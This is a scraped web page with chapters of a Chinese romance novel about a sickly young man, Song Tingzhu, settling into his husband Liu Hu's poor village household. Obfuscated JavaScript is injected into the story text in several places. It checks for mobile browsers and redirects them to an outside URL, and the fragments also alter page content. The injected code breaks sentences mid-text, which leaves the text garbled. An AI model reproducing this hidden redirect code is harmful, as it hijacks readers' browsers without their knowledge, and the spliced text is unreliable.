汉子生得高大，宽肩窄腰浑身肌肉，打眼一瞧便知是做惯了活的，宋听竹长年累月躺在床榻间，身上是没半点肌肉，腰间倒是积了一层软肉，只不过因为太过瘦弱，瞧不太出来。 “媳妇儿，俺找到活儿干了，等俺发了工钱给你买饴糖吃。” 宋听竹猛然回神，想起自己方才一直盯着人家身子瞧，面皮忽地有些发烫。 他别开目光，语气有些不自然：“我又不是夏哥儿，用不着拿饴糖来哄我。” 刘虎漆黑的眸子，盯着自家夫郎瞧：“那俺给你买四方斋的糕点，镇上百姓都说好吃。” 宋听竹嗯了声，岔开话头：“今日寻到了什么活？” “给有钱老爷家挖地基建房子，工钱每天四十五文还管晌午一餐饭。”提起这个，刘虎憨厚的脸上露出笑来，“往常做工最多三十五六文还不管饭，这趟活干下来能攒下不少钱呢”。 宋听竹却听得皱起眉头。 现下天寒地冻，泥土都冻结实了如何能挖得动。 刘虎不知他心中担忧，到灶房打来热水给他泡脚用。 “药熬好了，等你身子泡暖了，俺再端来。” 说着蹲下身子作势要去抓他脚踝。 宋听竹下意识往被子里缩，抬眼瞧见汉子露出受伤的神情，抿着嘴角别开目光。 “你别多想，我只是有些不习惯。” 他掀开被角，对汉子道：“帕子给我吧，我自己来。” 刘虎低头将帕子浸在水里：“俺来，你是俺媳妇儿，俺愿意伺候你。” 一声声媳妇儿，叫得宋听竹耳根发烫，偏他还说不出反驳的话来，刘家原先定下的虽不是他，但他同刘虎既然已经拜过堂，那他便是刘虎的夫郎。 自己这身子圆房是做不到了，日后等刘家日子过得好一些，若他还活着，那便给刘虎寻一个好姑娘抬进门，若他去了…… 宋听竹垂下眼睑，心头忽而生出一丝不舍。 “媳妇儿，水烫不？” 他艰难开口：“正好。” 短短两日他便生出了不舍，真要到了分别那天，该当如何？ 见木盆里的水不温了，刘虎大掌托起宋听竹双脚搁在膝头，用干帕子仔细擦净了塞进棉被下。 “俺去把药端来。” 跟药一起端来的，还有一碗红糖鸡蛋水。 “小妹说你晌午过后就没咋吃东西，是不是哪里又难受了？”汉子拧着浓眉，一脸关切，“俺去请梁大夫过来给你瞧瞧。” “不用。”宋听竹接过药碗道，“只是胃口不太好，这会儿已经没事了。” 刘虎还是担心，盯着他将一碗红糖鸡蛋水喝光，这才松了表情。 “明儿俺得早起到镇上做工，日入才能回，爹跟大哥不在家，娘跟大嫂要去镇上卖菜，你在家里有啥事就喊小妹帮忙。” 宋听竹道了声：“好。” 夜里刮起大风，刘家泥屋盖的年头有些久了，门窗被吹得呼啦作响，寒风顺着缝隙钻进来，将人冻得四肢发僵。 宋听竹本就没睡踏实，冷风一吹更是难以入眠，扯着棉被瑟瑟发抖之际，忽然被拉入一个暖炉般的怀抱。 “睡吧，俺在呢。”汉子轻拍着他后背，嗓音低沉。 容不得他多做思考，此时脑子里只剩下两个字。 好暖…… － 翌日，宋听竹是被院儿里的尖锐嗓音吵醒的。 “死妮子，我是你奶，你拦我做啥？” “这些是嫂夫郎的嫁妆，你不能动！” 刘老太太掐着腰，耍起长辈威风：“我咋就不能动了，便是分了家我也是你奶，你个死妮子敢跟长辈这么说话，是想挨教训不成？” 刘小妹怕她奶喊大伯来教训自己，但为了守住嫂夫郎的嫁妆，愣是一步都不肯挪动，夏哥儿也紧贴她，小手儿把着门框，稳稳站在门前。 刘老太太见状，撸起袖子骂骂咧咧：“两赔钱货，真当我拿你们没法子是不？” 刘翠娥虽然上了年纪，但这些年好吃好喝养着，身子骨硬朗得很，劲儿也比寻常老太大，两个孩子哪里拦得住她，不多时便被扯着胳膊丢在了院子里。 “奶你不能拿，那是嫂夫郎的嫁妆！” “奶奶你别拿呜呜呜……” 夏哥儿人小身子轻，被甩在地上痛得哭出声，刘小妹顾不上哄，爬起来大喊着进了屋子。 “起开，我是你奶，也是猛子跟虎子他奶，虎子娶了媳妇儿理应先孝顺我这个做长辈的，开春儿你堂弟要去县里参加科考，这银子正好拿来给玉书做盘缠。” 拉扯间刘小妹被刘老太粗暴推开，撞倒了一旁堆放着的木柴，噼里啪啦声响极大，夏哥儿被吓到，哭着跑进西屋。 “小、小叔么，奶欺负小姑呜呜……” 宋听竹穿好衣裳，正要出门查看，迎面便被夏哥儿撞了个满怀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906331|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他矮下身，揽着小哥儿温声哄：“夏哥儿不怕，小叔么在呢。” 杂物间争执声不断，刘小妹稚嫩的嗓音里带着哭腔，宋听竹担心人伤着，忍着身体上的不适，牵着夏哥儿来到院子里。 “小妹。” 刘小妹拦在木箱前不让刘老太太靠近，听见宋听竹唤她，顿时顾不得阻拦，连忙跑过来扶他。 见没了人阻挠，刘老太太弯下腰忙不迭将木箱掀开。 刘小妹气得双目通红：“嫂夫郎你的嫁妆……” “没事，让她拿便是。”宋听竹摸着小姑娘脸颊上泛起的红痕，皱眉道，“可有哪里伤着了？” 刘小妹摇头：“这是早上帮娘烧灶头，不小心被木柴刮到的。” 说完扭过头紧盯着刘老太太，生怕她把东西偷拿了去。 “嫂夫郎，奶在翻你东西！” “让她翻。”宋听竹望向杂间，心里并不担心刘老太太会拿走什么，依着宋夫人的气量，怕是半点值钱东西也不舍得放。 果然，那头刘老太将四口大木箱翻了个底朝天，谁料竟一个值钱物件儿没寻着，一张老脸原本还带着笑，这会儿耷拉着眼尾、瘪着嘴角，那表情活像旁人欠了她大钱似的。 老太太不甘心，瞅着主屋问：“你娘是不是把值钱东西都收起来了？” 刘小妹生气道：“嫂夫郎的嫁妆一直搁在杂间儿，娘才没动过呢！” “好歹是个富家少爷，就算是庶出身上多少也得有点银钱才是，难不成瞧他病得要死了，不想给？”刘老太太小声嘀咕。 宋听竹没听清，但也能猜出个大概，他一手牵着一个，任凭刘老太太阴阳怪气骂了两句，待人走后，让小妹扶着他进杂间儿，瞧见那几口木箱里，放的都是他娘在世时，给他搜罗来用来解闷的书籍，心中松了口气。 他还真有些担心宋夫人把书扣下，让人给他装几块大石头当嫁妆，幸好宋家瞧不上他这些破书。 “咳咳——” 刘小妹瞧他脸色不好，皱起脸道：“嫂夫郎，我扶你回屋。” “好。” 夏哥儿扯着他衣摆，一起去了西屋，小哥儿胆子小，被这么一闹神情蔫蔫的，头顶的发髻胡乱垂着，瞧着很是无精打采。 “小妹，拿把木梳过来。”他坐在床沿，将夏哥儿唤到身边。 刘小妹很快便将木梳取了来，“嫂夫郎，给。” 她坐在床前小凳上，撑着下巴瞧嫂夫郎给夏哥儿梳头发，只是看了半晌也不见嫂夫郎有动作，不免有些好奇。 难道是嫂夫郎会的样式太多，一时不知该梳哪种头型？ 宋听竹举着木梳，手臂都酸痛了，还是不知该如何下手。 往常在宋家一直是柳嬷嬷跟青禾红梅帮他梳发，自己哪里动过手，他方才想着梳个头发而已能有多难，现下真要上手，才发现并不容易。 踌躇半晌，给夏哥儿扎了个最简单的双髻。 小哥儿眸子闪亮，晃着脑袋问：“小姑，夏哥儿好看不？” 刘小妹左瞧瞧右看看，瞥见嫂夫郎微红的红根，重重点头：“好看，比镇上梳头娘子梳得还要好看哩！” 8. 擦洗身子 小姑娘还挺会哄人开心。 宋听竹牵起嘴角，有小妹跟夏哥儿陪着，心中烦闷都少了些。 晌午饭是刘小妹做的，夏哥儿帮着烧柴，宋听竹倚靠在日头下，一边晒着太阳，一边不放心地往灶房里头瞧。 “嫂夫郎你就放心吧，我四岁就开始帮娘烧饭了，手艺好着呢。” 小丫头动作熟练地翻炒着菘菜，待菘菜出锅，弯腰从一旁的篮子里捡了只鸡蛋，手脚麻利的磕蛋打蛋。 期间还不忘扭头问：“嫂夫郎你吃葱不？” “我都可以。” “成，夏哥儿帮小姑洗颗小葱。” “哎。” 夏哥儿嘴上应着，往灶膛里丢了截木柴，起身到屋后菜园子里揪了棵小葱回来。 “小姑，够不？” 小家伙迈着短腿跑回来，脑袋顶上本就颤颤巍巍的发髻，越发摇摇欲坠，眼瞅着就要散开来。 宋听竹忍不住将目光落在夏哥儿身上，神奇的是，那松散的发髻，竟到晌午饭端上桌也没被晃散架。 “小叔么，夏哥儿脸上脏脏了吗？”夏哥儿见小叔么总是瞧他，一双小手摸着脸蛋儿问。 宋听竹温声道：“没脏，干净着呢。” 说着伸手将盛着鸡蛋的陶碗，往中间推了推，被刘小妹瞅见又推回他手边。 小丫头抿着唇，脸上的倔强同她哥刘虎如出一辙。 宋听竹嘴角露出一抹浅笑，没再坚持，而是各夹了一筷子鸡蛋，放在俩人碗中。 一颗鸡蛋炒出来本就没几筷子，被他这么一夹便只剩了个碗底。 夏哥儿年纪小不懂事，见小叔么给自己夹了好些鸡蛋，晃着小腿高兴得不得了，刘小妹则皱着眉头，作势要将鸡蛋夹回碗中。 宋听竹摸着夏哥儿松散的发髻，微笑着说：“夏哥儿吃得真香，让人瞅着胃口都跟着变好了。” 刘小妹放下筷子，露出笑脸：“那嫂夫郎你就多吃点，等二哥回来我就不跟他告状了。” 宋听竹笑着点头：“好。” 这种温馨的感觉许久不曾有过了，娘亲去世后宋家便不再是家，柳嬷嬷他们虽同自己亲近，但因着做惯了奴仆，心底始终还是把他当少爷看，从不曾跟他这般亲近过。 也不知青禾跟红梅他们二人离开宋家没有，还有柳嬷嬷，自己被悄无声息送出家门，嬷嬷知晓后定会去找宋夫人理论，希望不要生出什么事端才好。 宋听竹心里担忧，勺子只一个劲搅着碗里米粥，也不见往嘴里送。 刘小妹瞧见，立马鼓起腮帮子威胁：“嫂夫郎再不肯好好吃饭，等二哥回来我可要跟他告状了。” 宋听竹回神，送入口中一筷子鸡蛋，咽下后称赞道：“味道不错，小妹的手艺果然很好。” 刘小妹被一句话哄好，挠着下巴不好意思道：“也没有很好，跟娘比还差好多呢。” “你年纪轻，再练几年定能超过。” 小姑娘翘起尾巴：“我也这么觉着。” 夏哥儿举起勺子：“夏哥儿也觉着～” 奶声奶气的声音，听得人心中发软，宋听竹抬手捏了捏小家伙肉乎乎的面颊，笑着问：“你觉着什么？” 夏哥儿眯起眼睛道：“小姑烧饭好次～” 宋听竹打心底里笑出声。 刘小妹望着嫂夫郎笑起来的模样，一不小心看呆了，回过神来忙捧起粥碗，一口气喝了个光。 宋听竹关心道：“慢些，当心呛到。” “不会咳咳咳——” 刚说完便被打了脸，小丫头脸颊臊得通红，脑袋都垂了下去。 宋听竹眼底含着笑意，有两个小的陪着，不知不觉竟比往常多喝了半碗粥。 饭后三人都有些困倦，待盯着宋听竹喝过药，刘小妹便去将院门闩了，一大两小到屋里睡了个午觉。 阮秀莲跟大儿媳卖完菜归家，三人还没醒。 夏哥儿是跟着宋听竹睡得，小家伙脸蛋儿睡得红扑扑，被尿意憋醒不好意思唤小叔么，小手掀开被角轻手轻脚爬下床，出来瞧见娘跟奶奶回来了，眸子亮了亮。 “娘、奶奶！” “咋从西屋出来的。”唐春杏揽着孩子，面上有些不高兴，“病成那样，也不怕传给孩子。” 阮秀莲听不得这话，冷下脸道：“又不是疫病哪就能传人了。” “我这也是关心则乱，我跟猛子就夏哥儿这一个孩子，万一出点啥事我俩咋活。” 阮秀莲吃软不吃硬，闻言也不好再说啥，老大媳妇儿生下夏哥儿后肚子便一直没动静，说到底都是穷给闹得，身子没啥营养这才怀不上。 “瞧这发髻睡的。”唐春杏怜惜地摸着自家小哥儿发顶，“来，娘给你梳一个镇上流行的小哥儿头型。” “不梳，这是小叔么给夏哥儿梳的。”夏哥儿晃晃脑袋上散开的发髻，跺着小脚着急道，“娘，要尿尿……” “去吧，把着墙别摔了。” “知道啦！” 唐春杏瞧着自家小哥儿彻底散落的发髻，皱眉嘀咕：“这才几天两人咋就这么亲近了。” 夏哥儿的头发到底没梳成，整个下午都胡乱的散着，刘猛做工回来瞧见笑话了一通，惹得夏哥儿生了好久的闷气，宋听竹又给重新梳了一个方才露出笑脸。 “媳妇儿，这是俺今天得的工钱。”夜里刘虎将做工挣来的四十文铜板，上交给宋听竹，跟铜板一起递过去的，还有一包带着桂花香的糕点。 “另外五文给你买了桂花糕。四方斋的糕点俺还买不起，等日后俺赚得银钱多了再买。”汉子捧着糕点，一脸局促。 这桂花糕是他从杂货铺子里买来的，两文钱一块，掌柜见天色晚东西也卖得差不多了，就把最后一块折半价卖给了他。 这桂花糕不仅价贱，吃起来还带着碎渣，口感跟四方斋的糕点相比，差的不是一星半点，但也比饴糖好吃，只是比不得媳妇儿在府城吃的精细，万一媳妇儿吃不惯咋办？ 宋听竹不知汉子心中所想，接过铜板塞进钱袋，而后拆开油纸，捏了一小块碎掉的桂花糕放入口中。 刘虎紧盯着他瞧，生怕人不喜欢。 宋听竹品尝过后，朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋听竹刚进家门那日，阮秀莲让儿子点过一回，后来把自个儿屋里棉被翻出来抱去西屋，就没再继续点。 晃神的工夫，汉子已经将点燃的火盆端进了屋。 烧得热烘烘的火盆往床前一搁，烤得人浑身暖洋洋的。 宋听竹把手探出棉被，凑近了烤着，待刘虎把热水打来，瞧着面前立着的高大汉子，脸颊上的红晕越发清晰可见。 外头冰天雪地，他也不好叫人去屋外等，灶房倒是暖，可两人是拜过堂的夫夫，他若是这般说了，刘虎这心眼儿实诚的，心里头指不定多受伤。 宋听竹实在纠结，哪知刘虎压根就没想过出去，他挽起袖口走上前，敦厚的面孔上不含半点私心。 “媳妇儿你坐着别动，俺来帮你擦洗。” 宋听竹头脑轰的一声，顶着一张红透的脸庞，结舌道：“不、不用了，我自己来就好。” 刘虎拧眉，“不行，你身子弱不能久站。” 刘虎态度坚决，那表情好似宋听竹再多说一句便要将木桶撤走，宋听竹犹豫再三，还是没能抵过爱干净的毛病点了头。 他同刘虎是夫夫，看便看了，没什么可害臊的，何况成亲那晚，刘虎已经帮他换过一回衣裳，一次跟两次也没有多大区别…… 可上回他昏迷着，这回清醒得很，宋听竹抓着被角双眸紧闭，睫毛随着刘虎的动作轻轻颤动。 汉子带着厚茧的粗糙手掌不时蹭过脊背，带起阵阵战栗，一瞬间的紧张与慌乱，让他心脏也跟着颤了一颤。 9. 画个脑斧 翌日天气晴朗，昨夜宋听竹擦洗过身子，难得睡了个好觉，今日早早便穿戴好衣裳下了床，只是同刘家其他人相比，还是晚了不少。 “嫂夫郎你起啦。” 刘小妹坐在院子里做女红，瞧见他从西屋出来，高兴地打着招呼。 宋听竹扶着墙壁缓步走到跟前，见着小丫头绣的东西，忍不住笑出声。 刘小妹鼓起腮帮子，赌气道：“不绣了。” “怎的不绣了，这只小猫憨态可掬，可爱得紧。” 夏哥儿在一旁奶声奶气地纠正：“不是猫猫，小姑绣的大毛，这里的花纹跟大毛身上的一模一样。” “大毛是？” 小哥儿笑眯眯：“村长爷爷家养的狗狗呀，长得可威风啦～” 刘小妹欲哭无泪：“不是猫也不是狗，是兔子……” 宋听竹表情微妙。 他想安慰一下小姑娘，奈何这两物相差太远，哄人的话着实有些说不出口。 倒是三岁多点的夏哥儿，瞪着圆溜溜的眸子，一本正经道：“小姑，兔兔眼珠是红的，不是黑的哦。” “我知道，我这不还没来得及绣上眼睛呢。”刘小妹摸着自己绣的兔子，霜打的茄子一般，蔫头蔫脑。 思量片刻，颇有些不甘心地说：“是丑了点，但是应当也能卖出去吧，马上就到上元节了，我想攒些绣品到集市上卖，娘跟大嫂绣活比我好，但家里这些活计都够忙活的了，没几个时间做这些，爹腿脚不好，却还要整日上山打柴，我今年都十二了，也该替家里分担分担了。” 夏哥儿举起小手，着急道：“小姑，夏哥儿也能做活！” 宋听竹捏了捏小家伙的脸蛋儿，“你能做什么活？” “夏哥儿可以帮小姑烧火，还可以帮娘喂小鸡小鸭～” “这么乖，那小叔么可得好好奖励奖励我们夏哥儿才成。” 夏哥儿亮起眸子：“什么奖励呀，小叔么？” 刘小妹也一脸好奇地望向自家嫂夫郎。 宋听竹卖了个关子：“待会儿就晓得了。” 他那些书还在，笔墨纸砚应当也在匣子里头，那些东西不值几个钱，宋家应当不会让人扣下。 但还是有些担心，待进了杂间儿，确认过他那些破烂儿也被一同丢在了箱子里，方才松了口气。 幸好昨日刘家老太没将这些拿走，否则小妹跟夏哥儿的奖励便要泡汤了。 刘小妹瞧着几口箱子的书籍，惊讶地瞪大眸子：“这么多书，嫂夫郎你都读过？” 昨天只顾着阻挠奶奶，没瞧见嫂夫郎这嫁妆里竟全是书，都快赶上镇上书铺里卖的了。 宋听竹翻看了几个箱子已然没了力气，倚靠着门板，略带喘.息地道：“差不多。” 平日里也没旁的消遣法子，只能日日看书来消磨时间，不过他自己也吓了一跳，十几年来竟积攒了这么些书籍，往常都由青禾帮他收着，今日才晓得居然如此壮观。 刘小妹见他累了，主动开口：“嫂夫郎你要找什么，我帮你找。” “帮我把笔墨纸砚取出来，就在你跟前的小木匣子里。” “好。” 匣子里东西不多，只一截快用完的墨条、两根常年浸泡墨汁，尾端染上墨色的毛笔，以及一方瞧着有些丑的砚台。 刘小妹抱着匣子，从木箱底下翻出一沓泛黄的纸，扭头道：“嫂夫郎你这些书都返潮了，今儿天气好还没风，我帮你拿些出去晒晒？” “不急，先把允诺你跟夏哥儿的奖励画了。” 刘小妹闻言，又惊又喜：“我也有吗？” 宋听竹眸子里含着笑意，“自然。” 外头没风阳光也暖，宋听竹便让小妹将桌子支在了院儿里，研墨的工夫，刘小妹手肘抵着桌面，托着下巴好奇地盯着瞧，夏哥儿人小够不着桌子，自己搬来一把小凳，踮着小脚聚精会神瞅着。 “嫂夫郎，你要画什么？” 宋听竹温声道：“你不是要绣小兔，那就先画一幅兔子。” 沾墨落笔，又问夏哥儿喜欢什么。 夏哥儿歪着脑袋思考片刻，神情雀跃道：“大脑虎，夏哥儿还没见过脑虎呐～” “小叔么也没见过。” “那夏哥儿换一个。” “不用换，待会儿小叔么就帮你画。” “真哒？”夏哥儿一双眸子亮晶晶。 宋听竹瞧他小模样可爱得紧，起了逗弄的心思，抬手在小哥儿鼻尖上点了下。 刘小妹见状笑哈哈：“夏哥儿变成小花猫啦。” 夏哥儿也不生气，眯起眼睛跟着笑。 刘家小院儿内笑声不断，有村民路过好奇地张望过去，就见刘家二小子那病入膏肓的新夫郎，如今活得好好的，这会儿竟还在院子里头作起画来！ “不是说虎子夫郎病得快那啥了，这瞧着也不像要没的样子。” “可不，还作画呢，瞅那架势跟书院里读书的书生郎似的，身板儿挺得笔直，精神着呢。” “要我说大生家这门亲事还是不错的，虽说竹哥儿不受宠，可人家毕竟是府城来的少爷，咱们这些泥腿子还是没法比。” “不错啥，没听刘老太太说他这孙媳妇啥嫁妆都没有，那宋家只给抬来几箱子破书，上头又是小人儿又是鬼画符的，一看就不是正经来路的东西。” “哎你们说，宋家那么多银子都治不好的病，里头别不是有啥说法吧？” “往这头瞧了，快走，多待会儿我都害怕。” “走走走，往后这刘老大家可得少来。” 几个上了年纪的婆子，推搡着走远。 刘小妹扭过头，安慰自家嫂夫郎：“嫂夫郎你别理他们，就是一群碎嘴子，村子里就没谁家没被说嘴过，就连村长家都被说过长短哩。” 宋听竹本就没放心上，闻言笑着应了声：“好。” “小兔画好了，还画了些花样儿，都是浔阳府荷包、帕子上常有的，便是只能绣出七八分，到了镇上也定然好卖。” 这些花样子都是红梅同他讲的，他虽没亲眼见过，但想来也跟儿时差不了太多。 刘小妹瞧见果然一脸惊叹，也顾不得围观了，忙去取了针线筐来，比着做起绣活。 “小姑，小叔么要画大脑虎啦你不瞧了吗？” 刘小妹头也不抬：“不瞧了，等小姑赚到大钱，给你买糖人儿吃。” 夏哥儿啪嗒啪嗒踩着小凳，高兴道：“好～” “快站好，当心摔着。”宋听竹温声叮嘱。 “知道啦，小叔么～” 夏哥儿太过乖巧，让宋听竹很是喜欢，原先在宋家时，他那位同父异母的三弟，自小便整日调皮捣蛋，一刻都不得安生，还时常领着一帮同龄孩子来竹园惹祸，招 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用来做绣活的碎布头不多了，她想着去赵婶子家换些。 碎布头不值钱，两颗鸡蛋却能卖上三四文呢。 叫夏哥儿一起，是因为小家伙得了纸老虎正兴奋着，担心他在家中跑来跑去，吵到嫂夫郎休息。 刘小妹牵着夏哥儿拐过村里的榕树，便瞧见跟阮秀莲交好的赵婶子，正要往家走。 赵婶子也瞧见两人了，回身问道：“灵芝啊，这是要领夏哥儿去哪儿啊？” “正要去您家换些碎布头呢。” “这不赶巧了，家里攒了好些正愁没处使呢。”赵婶子抱起夏哥儿热情招呼，“你天哥昨儿到镇上买了些糕点，我去拿些给你俩吃。” 刘小妹连忙拒绝：“不用了婶子，我跟夏哥儿不饿。” 这糕点是用来给田天大哥相看媳妇儿用的，自己哪好意思要，而且她跟夏哥儿晌午已经吃过了，是嫂夫郎给的，桂花糕甜滋滋的，可香可好吃，但两文钱只能买那么小一块，贵死个人。 “又不是让你拿来饱肚子，只是个零嘴儿罢了。” 待进了家门，赵春芳便让自家小哥儿去取。 刘小妹推拒不掉，只得捧着跟夏哥儿一起分着吃。 “你嫂夫郎身子咋样了，可还好？”赵春芳一边收拾着碎布头，一边问。 “好些了，今日都能起床画画了。” “是吗，那就成。”赵春芳放心不少。 她心里头一直记挂着，就怕这新进门的媳妇出了啥岔子，好在没像大伙说的那样，如今身子已然大好了。 赵春芳家哥儿田乐，叼着糕点一脸诧异：“你那嫂夫郎还会作画？” 刘小妹抬起下巴，语气骄傲：“会的，嫂夫郎画的可好了，还画了好些府城里流行的花样子，让我比照着做绣活呢。” 夏哥儿也跟着夸：“嗯呐，小叔么画得大脑虎可好看啦～” 田乐来了兴趣：“听你这么一说我倒想去瞧瞧我这位嫂夫郎了，虎子哥成亲那日我不在，我还没见过嫂夫郎长啥样呢。” 赵春芳拎着碎布头过来，“左右你也没啥事干，待会儿就把灵芝和夏哥儿送回家，顺道去跟你嫂夫郎说说话。” “成。” 10. 转变态度 宋听竹在床上躺了小半个时辰，精神头恢复了些，他撑起身子倚靠在床头，听见院儿里传来对话声，还当是娘跟大嫂卖完菜回来了，直到一个陌生声音响起，这才晓得家里来了外人，且听动静，是奔西屋这边走的。 他垂眸扫了眼自个儿，见没有不妥之处，方才安下心来。 “嫂夫郎，赵婶子家田乐哥哥来瞧你了。”屋外，刘小妹叩门道。 “进来吧。” 田乐跟进门，瞧见宋听竹模样，不知怎的忽然有些紧张，说话都不敢大声了。 “嫂、嫂夫郎好，我是田乐，你唤我乐哥儿就成。” 宋听竹微笑点头：“乐哥儿。” “哎。”田乐揉揉鼻尖，搬了个小凳坐在一旁，“我娘让我来陪你说说话，这几日你一直在家圈着，也没人能一起说个话，一准儿闷得很。” 宋听竹道：“不会，有小妹跟夏哥儿陪着呢。” 啊，怎么会有这样的人，不仅长得好看说话也温柔。 田乐看得呆了呆，回过神来大大咧咧道：“嫂夫郎你长得太好看了，府城里的人都长你这样的吗？” 如此直白的话听得宋听竹一愣，原本还不知该怎么跟他相处，现下放松许多。 他浅浅勾起唇角，难得开起玩笑：“外头不晓得，宋家长成我这样的只我一个。” 笑、笑起来也超好看！ 田乐晕乎乎，觉得自己好似喝醉了，用力掐了把大腿根，登时痛得他眼冒泪花。 宋听竹见他突然红了眼圈，拧眉关心道：“可是哪里不舒服？” 田乐忍着痛意咧开嘴角，“没、没不舒服，就是忽然想起家里鸡鸭还没喂，不过也不是啥大事儿，我娘在家呢。” 宋听竹闻言，舒展眉心，“那便好。” “田乐哥哥，你在屋里陪嫂夫郎说话吧，娘跟大嫂他们该回来了，我给他们烧饭去。”刘小妹见天色不早，开口说道。 “成，你去忙吧。” “小姑，夏哥儿帮你烧火！” “好。” 等两小的离开西屋，田乐搬着小凳往前凑了凑。 “嫂夫郎，你给小妹画的那些花样子，能给我也画一个不？” 宋听竹道：“可以，只是眼下怕是不行。” 田乐立即摆手：“不着急，等你身子养好再说。” 宋听竹点头，又见他抠着衣角欲言又止，问道：“有想要的花样子？” “那个，就是想要一些喜庆点儿的，我今年十五，也到了说人家的年纪了，娘嫌我绣活做得不好，催着我练手艺呢。” 宋听竹听后，宽慰他：“绣活不好也没什么，只要手脚勤快，照样能将日子过好。” 田乐垮下嘴角，嘟囔道：“我也是这样跟我娘说的，可她根本不听，还说我这样的去了婆家也要遭人嫌弃。我只不过是绣活做得差了些，菜烧得马马虎虎，田打理得勉勉强强，除此之外我还是很能干……” 他顿了顿，苦着脸道：“仔细一想，我好像真的没啥优点，怎么办，我不会真嫁不出去了吧。” “怎么会，你样貌不差，即便是不太会做活，也定然不会缺人家求娶。” “嫂夫郎你有所不知，我们田家被人下了诅咒了。”田乐压低嗓音，沉声道，“这几年我大哥相看过不少人家，但一个都没成，不是女方寻到了心上人，便是小哥儿被富家少爷瞧上了。 大伙都说只见过克妻的，还没见过旺妻的，前来说合的人家一日比一日多，大多是来改运的，但也有诚心想做亲家的，可奇怪的是，这么些人家竟然一个也没成。” 他叹了口气：“大哥年龄跟猛子哥一般大，夏哥儿如今都三岁半了，我哥至今嫂子的影子都见着呢。” 宋听竹仔细听着，这么说来是有些怪，可世上很多事本就说不清楚，何况婚嫁一事变数颇多，譬如他跟刘虎，当年定下的是宋蕊儿，如今嫁进刘家的却是他自己。 他不知如何安慰，观乐哥儿的模样好似也不需要安抚的话，只是缺少一个倾诉的对象，于是便在一旁安静地听着。 “不止我哥，我也被诅咒了，别人家姑娘小哥儿十二三岁就开始有人家打听了，定下的也不在少数，我今年十五一个来家里问的媒婆都没有，我倒是不着急，可一个上门的都没有，村里婆子婶娘没少说嘴，背地里说我家风水不好，养出的小哥儿将来生不出孩子呢。” 田乐越说越气，“我连汉子的手都没牵过，又没试过，他们怎的就晓得我生不出孩子？” 一番话说得不羞不臊，反倒把宋听竹听得耳根泛红，面上也有些许不自然。 他倾身拿过一旁矮桌上搁着的茶壶，给乐哥儿倒了杯水，让他润润嗓儿。 田乐仰起头一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906334|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝光，抹了把嘴道：“嫂夫郎，你说这事怪不怪？” 宋听竹斟酌着说：“兴许是姻缘还没到。” 田乐一脸忧愁：“这姻缘啥时候能到嘛，今年再定不下，来年就该缴纳未婚税，又是一笔花销，好在头些年取消了官配制度，除了为银子发愁，但是不用再担心被拉去强制婚配了。” 田乐自顾自又说了些其他，听见阮秀莲跟唐春杏进院儿的动静，起身跟宋听竹告辞回了家。 阮秀莲进屋瞧儿夫郎，见他气色尚可，不免松了口气。 “乐哥儿是个好孩子，你在村里也没个同龄的伴儿，这阵子还没到农忙时候，倒是可以让小妹把他叫来跟你说说话。” 宋听竹唤了声娘，又道：“乐哥儿说明日来家里做绣活，让我给他画些花样子。” 提起这茬，阮秀莲面上多了些笑意，“你给小妹画的那些花样子我瞧过了，个个都那般精巧，这要是绣出来拿去镇上卖，少说也得比那些普通绣品多卖出七八文。” 这是按照她家姑娘手艺估摸的，换成她跟大儿媳，便是贵出十文也是不缺人买的，可没法子，做绣活太耗费时间，家里这些活都做不完呢，哪得空做那些个精细的，只能抽空绣上一些，届时让小妹一同拿去镇上换银钱。 “对了，听小妹说老太婆昨儿来家翻了你那些箱子，书本可是珍贵物件，可有损坏？” 宋听竹道：“没有娘，我查看过了，都好好的呢。” 阮秀莲点头：“那就成，改天让他爷仨给你打个书架，杂间儿隔开一处空地儿，专放你那些书本。” 宋听竹闻言心底涌出一股暖流。 初被抬进刘家那日，刘家为替嫁一事闹得鸡飞狗跳，他这位婆婆虽肯出银子给他治病，但也能察觉到是不喜自己的，可也没苛待他，反而白米鸡蛋的养着。 如今几日过去，婆婆态度有了很大转变，瞧着是彻底将他认下了。 同宋听竹所想差不多，阮秀莲的确不满意这个儿媳妇，不过也不是不喜他，只是不满宋家做派，连带着不满意宋听竹这个宋家人，这几日寻思过来也就没了芥蒂。 “谢谢娘。” “都是一家人谢啥。”阮秀莲喜道，“这阵子园子里菜长得好，多卖了几个铜板，等上元节你身子好些，全家人一起去镇上热闹热闹。” 宋听竹露出笑容：“好。” 11. 刘虎受伤 转眼间，宋听竹已嫁到刘家小半月。 有田乐、小妹跟夏哥儿陪着，宋听竹每日都过得舒心，很少有病倒的时候，只第一场春雨落下时，站在房檐下多瞧了会儿，下午身子便开始发起热，喝过药也无济于事，折腾了一整宿才有所好转。 自此以后，刘小妹看他看得更紧了，每日放风不超两刻钟，若是待的时间长了，小姑娘定会跟二哥刘虎告状。 刘虎自是不舍得对自家媳妇儿说重话，嘴又笨得很，只会用一双黑眸哀怨又担忧地盯着人瞧，那表情好似宋听竹做了什么对不起他的事一样，弄得他心虚不已。 回想起昨夜汉子瞧自己的眼神，宋听竹下意识加紧了步伐。 